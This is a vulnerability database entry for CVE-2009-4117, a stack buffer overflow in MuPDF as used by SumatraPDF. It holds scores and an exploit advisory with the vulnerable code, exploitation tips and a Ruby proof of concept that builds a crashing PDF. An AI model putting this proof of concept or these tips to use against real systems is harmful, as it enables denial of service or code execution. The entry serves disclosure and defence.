CVE-2009-4117

CVE Descriptions

Multiple stack-based buffer overflows in pdf_shade4.c in MuPDF before commit 20091125231942, as used in SumatraPDF before 1.0.1, allow remote attackers to cause a denial of service and possibly execute arbitrary code via a /Decode array for certain types of shading that are not properly handled by the (1) pdf_loadtype4shade, (2) pdf_loadtype5shade, (3) pdf_loadtype6shade, and (4) pdf_loadtype7shade functions. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	9.29%	–	–
2022-04-03	–	–	9.29%	–	–
2023-03-12	–	–	–	13.79%	–
2023-07-30	–	–	–	12.98%	–
2024-03-10	–	–	–	11.77%	–
2024-06-02	–	–	–	12.98%	–
2024-09-22	–	–	–	22.01%	–
2024-12-22	–	–	–	21.38%	–
2025-02-09	–	–	–	21.38%	–
2025-02-16	–	–	–	21.38%	–
2025-01-19	–	–	–	21.38%	–
2025-02-16	–	–	–	21.38%	–
2025-03-18	–	–	–	–	24.33%
2025-03-18	–	–	–	–	24.33,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	87%
2022-04-03	94%
2023-03-12	95%
2023-07-30	95%
2024-03-10	95%
2024-06-02	96%
2024-09-22	97%
2024-12-22	96%
2025-02-09	96%
2025-02-16	97%
2025-01-19	96%
2025-02-16	97%
2025-03-18	96%
2025-03-18	96%

Exploit information

Exploit Database EDB-ID : 10244

Publication date : 2009-11-27 23h00 +00:00
Author : Christophe Devine
EDB Verified : Yes

"MuPDF is a lightweight PDF viewer and toolkit written in portable C". It is used in particular by SumatraPDF which is a small open-source PDF viewer for Windows. MuPDF before commit 20091125231942 did not properly handle /Decode arrays in a shading of type 4 to 7, leading to a stack-based buffer overflow. Version 1.0.1 of SumatraPDF integrates this correction and is no longer vulnerable -- it is recommended to upgrade to this version. In addition, SumatraPDF 1.1 will have DEP enabled permanently on XP/ Vista/7 (through NtSetInformationProcess), as well as being marked ASLR-compatible. Timeline ======== 2009-11-23 MuPDF and SumatraPDF contacted 2009-11-25 fix integrated 2009-11-28 SumatraPDF 1.0.1 released Details ======= The vulnerable code is shown below: float c0[FZ_MAXCOLORS]; float c1[FZ_MAXCOLORS]; ... obj = fz_dictgets(shading, "Decode"); if (fz_isarray(obj)) { ... for (i=0; i < fz_arraylen(obj) / 2; ++i) { c0[i] = fz_toreal(fz_arrayget(obj, i*2+4)); c1[i] = fz_toreal(fz_arrayget(obj, i*2+5)); } } Although SumatraPDF is compiled with /GS, for some reason Visual Studio 2008 failed to flag the vulnerable function. Thus, exploitation is not particularly difficult, although there are a few tricks: * Care must be taken not to overwrite the obj pointer on the stack, as it would lead to a crash. Fortunately, the i variable is overwritten first, so one can simply increment it to skip obj. * The overwritten array handles a bunch of floating point values. So all hexadecimal values (such as the overwritten eip) must be converted into a floting point value, but not using scientific notation because the MuPDf parser cannot handle it. For example, 0x33 will be encoded as 0.000000000000000000000000000000000000000000071 * All 32-bit chunks of the shellcode need to have a valid floating point counterpart: no value must correspond to an IEEE 754 "NaN" (not a number). In practice, this can be easily achieved by inserting NOPs. The origami PDF framework (see http://www.security-labs.org/origami/) may be used to test this vulnerability. The following ruby script creates a PDF with an oversized /Decode array: # MuPDF pdf_loadtype4shade() PoC code (crash only) # authors: Christophe Devine and Guillaume Delugré $: << "sources/parser" require 'parser.rb' include Origami sploit = [ 1234 ] * 250 shader = Graphics::Pattern::Shading::FreeFormTriangleMesh.new shader.ColorSpace = Graphics::Color::Space::DEVICE_RGB shader.BitsPerCoordinate = 24 shader.BitsPerComponent = 16 shader.BitsPerFlag = 8 shader.Decode = sploit page = Page.new.add_shading(:kikoo, shader) page.Contents = ContentStream.new page.Contents.paint_shading(:kikoo) PDF.new.append_page(page).saveas('toto.pdf') How to modify this script to successfully exploit the vulnerability is left as an exercise for the reader ;) Metasploit 3.3 was used for the creation of the shellcode. This poc will not work with other versions of SumatraPDF as it uses a jmp esp in the binary. Greetz ====== #lab, #chaussette, #barbux, hzv, t0ka7a, c+v, al4mbic et pizza_pino